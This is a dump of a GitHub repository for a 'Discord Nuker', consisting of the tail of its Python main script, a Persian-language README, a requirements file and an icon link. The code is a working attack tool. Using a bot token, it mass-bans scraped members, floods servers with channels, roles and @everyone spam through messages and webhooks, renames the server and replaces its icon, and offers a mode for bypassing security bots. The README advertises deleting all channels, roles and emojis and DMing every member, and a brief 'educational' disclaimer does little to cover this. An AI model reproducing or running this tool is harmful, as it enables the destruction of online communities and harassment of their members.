821 | members_2.pop() 822 | 823 | if len(members_3) != 0: 824 | Thread(target=ban, args=(members_3[0], )).start() 825 | members_3.pop() 826 | 827 | if len(members_4) != 0: 828 | Thread(target=ban, args=(members_4[0], )).start() 829 | members_4.pop() 830 | 831 | if len(members_5) != 0: 832 | Thread(target=ban, args=(members_5[0], )).start() 833 | members_5.pop() 834 | 835 | if len(members_6) != 0: 836 | Thread(target=ban, args=(members_6[0], )).start() 837 | members_6.pop() 838 | 839 | def create(amount: int): 840 | choice = choisex 841 | def create_role(): 842 | name = choice(names) 843 | status = nuker.create_role(name) 844 | if status: s.create(status) 845 | else: e.create(name) 846 | 847 | def create_channel(name): 848 | name = choice(names) 849 | status = nuker.create_channel(name, 0) 850 | if status: 851 | s.create(status) 852 | webhook = nuker.create_webhook(status) 853 | if webhook: 854 | Thread(target=nuker.send_webhook, args=(webhook, f"# {choisex(names)} @everyone @here {invite_link}", amount)).start() 855 | 856 | for i in range(amount): 857 | nuker.send_message(status, f"# {choisex(names)} @everyone @here {invite_link}") 858 | 859 | else: e.create(name) 860 | 861 | for i in range(amount): 862 | t = Thread(target=create_role) 863 | t.start() 864 | 865 | t2 = Thread(target=create_channel, args=(choice(names), )) 866 | t2.start() 867 | 868 | threads.append(t) 869 | threads.append(t2) 870 | 871 | nuker.change_guild_icon("./server_icon.png") 872 | nuker.rename_guild(choisex(names) if not guild_name else guild_name) 873 | 874 | Thread(target=purge_server ).start() 875 | Thread(target=create, args = (100,)).start() 876 | time.sleep(10) 877 | with open("./Scraped/members.txt", "r") as file: 878 | 879 | users = [i.strip() for i in file.readlines()] 880 | 881 | await ban_members(users) 882 | 883 | 884 | return await back_to_manu() 885 | 886 | 887 | elif ch == "02": 888 | invite_link = Funcs.get_input("Enter your invite link: ", lambda x: x != "") if not invite_link else invite_link 889 | amount = round(amount / 2) if amount else 50 890 | 891 | def bypass(): 892 | if nuker.sussy_create_channel(): 893 | Logger.Success.create("Created 2 channels with bypassing") 894 | else: 895 | Logger.Error.create("Failed to bypass") 896 | 897 | 898 | threads = [] 899 | 900 | 901 | for i in range(amount): 902 | t = Thread(target=bypass, ) 903 | t.start() 904 | threads.append(t) 905 | 906 | else: 907 | for thread in threads: thread.join() 908 | channels = await scrapp("channels") 909 | for i in range(amount): 910 | for channel in channels: 911 | Thread(target=nuker.send_message, args=(channel, f"# {choisex(names)} @everyone @here {invite_link}" )).start() 912 | return await back_to_manu() 913 | 914 | 915 | elif ch == "03": 916 | 917 | return await back_to_manu() 918 | 919 | 920 | 921 | 922 | 923 | elif choice == "19": 924 | os._exit(69) 925 | 926 | 927 | 928 | # ===================== RUNNING IT UP ================================ 929 | 930 | 931 | 932 | def start(args): 933 | 934 | global token, names, amount, invite_link, guild_name 935 | 936 | # Checking for any session files 937 | 938 | if len(args) != 1: 939 | 940 | if args[1].endswith(".json") and os.path.exists(args[1]): 941 | with open(args[1], "r", encoding="utf8") as fp: 942 | j = json.loads(fp.read()) 943 | 944 | _in = lambda t: j[t] if t in str(j) else None 945 | 946 | token = _in("Token") 947 | names = _in("SpamTexts") 948 | amount = _in("SpamAmount") 949 | guild_name = _in("ServerName") 950 | invite_link = _in("SpamInviteLink") 951 | 952 | 953 | 954 | 955 | 956 | 957 | System.Clear() 958 | System.Title("Discord Nuker - github.com/Bad-Discord/Discord-Nuker") 959 | System.Size(160, 40) 960 | 961 | 962 | if not token: 963 | token = Funcs.get_input("Please Enter your token: ", lambda x: x != "" and not x.isnumeric() and Tools.check_token(x)) 964 | else: 965 | if not Tools.check_token(token): 966 | token = Funcs.get_input("Please Enter your token: ", lambda x: x != "" and not x.isnumeric() and Tools.check_token(x)) 967 | 968 | print() 969 | 970 | guilds = Tools.get_guilds(token) 971 | num = 1 972 | 973 | _guilds = {} 974 | 975 | for id, name in guilds: 976 | 977 | print(palette.sky_blue, num ,palette.sexy_blue, end="- ") 978 | print(palette.magenta, id, palette.grey, name) 979 | _guilds[str(num)] = id 980 | num+=1 981 | 982 | print() 983 | guild = Funcs.get_input("Please Enter the guild id or its number: ", lambda x: x.isnumeric() and (x in str(_guilds) or x in Tools.get_guilds(token)[0] )) 984 | 985 | if _guilds.get(str(guild)): 986 | guild = _guilds[guild] 987 | 988 | 989 | asyncio.run(main(token, guild)) 990 | 991 | if __name__ == "__main__": 992 | args = sys.argv 993 | 994 | start(args) 995 | -------------------------------------------------------------------------------- /persian_docs/README.md: -------------------------------------------------------------------------------- 1 | # 💀 Bad Discord Nuker 💀 2 | 3 | 4 |

5 | 6 | 7 | 8 |

9 | 10 |

11 | [ How to install ] - 12 | [ Screenshots ] 13 | 14 |

15 | 16 | ### *قابلیت ها :* 17 | > - [x] *اسپم در تمامی چنل ها* 18 | > - [x] *دیلیت دادن تمامی رول ها* 19 | > - [x] *عوض کردن اسم تمامی رول ها* 20 | > - [x] *دیلیت دادن تمامی چنل ها* 21 | > - [x] *عوض کردن اسم تمامی چنل ها* 22 | > - [x] *دیلیت دادن تمامی اموجی ها* 23 | > - [x] *ساخت تعداد بسیاری چنل* 24 | > - [x] *بن کردن تمامی ممبر ها* 25 | > - [x] *اسپم با وبهوک* 26 | > - [x] *اسپم با بات* 27 | > - [x] *دایرکت دادن به همه* 28 | > - [x] *عوض کردن نیک نیم همه* 29 | > - [x] *عوض کردن عکس سرور* 30 | > - [x] *عوض کردن اسم سرور* 31 | > - [x] *دور زدن بات های امنیتی* 32 | > - [x] *پشتیبانی از پراکسی* 33 | > - [x] *پشتیبانی از سشن* 34 | ## ⚗ نصب و راه اندازی 35 | 36 | - اطمینان حاصل کنید که پایتون رو روی پیسی تون نصب کردید. 37 | - [Python3.7.12](https://www.python.org/downloads/release/python-3712/) یا ورژن های بعد تر (بجز [Python3.12.0](https://www.python.org/downloads/release/python-3120/) چون اشغاله) 38 | 39 | 40 | ### ویندوز: 41 | - روی دکمه ی سبز رنگ Code کلیک کنید و روی Download ZIP بزنید تا فایل زیپ رو دانلود کنید 42 | - فایل زیپ رو استخراج کنید و واردش بشید 43 | - توی فولدر فایل ها ، یک ترمینال باز کنید و کامند زیری رو توش پیست کنید: 44 | ```bash 45 | pip install -r requirements.txt; python main.python 46 | ``` 47 | - **یا** فقط فایل `main.py` رو باز کنید و بذارید خودش پیش نیاز هاشو نصب کنه 48 | 49 | 50 | ### ترموکس 51 | - کامند یک خطی برای نصب در ترموکس: 52 | ```shell 53 | pkg update -y && pkg upgrade -y && pkg install python git && git clone https://github.com/Bad-Discord/Discord-Nuker && cd Discord-Nuker && pip install -r requirements.txt && python main.py 54 | ``` 55 | - فقط کافیه که کپیش کنید و توی ترمینال ترموکس پیست کنید 56 | 57 | 58 | 59 | ## 🤔 استفاده 60 | 61 | ### استفاده معمولی 62 | - از `python main.py` استفاده کنید یا با دابل کلیک فایل رو باز کنید 63 | 64 | ### استفاده از سشن 65 | 66 | - یک [سشن فایل](https://github.com/Bad-Discord/Discord-Nuker/persian_docs/#سشن-ها) بسازید و بعد از `python main.py <سشن شما>` استفاده کنید 67 | 68 | ```bash 69 | python main.py session.json 70 | ``` 71 | 72 | 73 | ## سشن ها 74 | ### سشن چیست؟? 75 | در صورتی که بسیار تنبل هستید تا همان توکن بات معمولی خودتون رو هرسری توی سورس کد ما وارد کنید میتونید از سشن فایل ها استفاده کنید تا یکسری اطلاعات از پیش تعیین شده رو عین توکن توی سورستون استفاده کنید. 76 | 77 | - یک فایل با فورمت `.json` توی فولدر اصلی بسازید و کد زیر رو توش پیست کنید 78 | 79 | ```json 80 | { 81 | "Token": "توکن شما ", 82 | "SpamTexts": ["چند تکست", "برای اسپم"], 83 | "SpamAmount": 50, 84 | "ServerName": "اقو لاجیک اینجارو ناک کرد پسر", 85 | "SpamInviteLink": "discord.gg/cool-people" 86 | } 87 | ``` 88 | 89 | `Token`: توکن ربات شما 90 | 91 | `Spam Texts`: چند تکست برای فرستادن توی چنل ها و اسپم 92 | 93 | `SpamAmount`: تعداد دفعاتی که قرار است تکست ها اسپم شوند و چنل ها ساخته شوند 94 | 95 | `ServerName`: یک اسم برای تغییر دادن اسم سرور 96 | 97 | `SpamInviteLink`: اینوایت لینک سرور شما برای اسپم کردن 98 | 99 | ## 📸 اسکرین شات ها 100 | 101 | 102 | 103 | ## ⚠ Disclaimer 104 | 105 | This script is educational and fully coded by M. logique aka @1ogi in discord 106 | if you choose to abuse this tool it's are your fault and M. logique will not accept anything about you're mistake -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colorama==0.4.6 2 | requests==2.31.0 3 | asyncio==3.4.3 4 | pystyle==2.9 -------------------------------------------------------------------------------- /server_icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/server_icon.png --------------------------------------------------------------------------------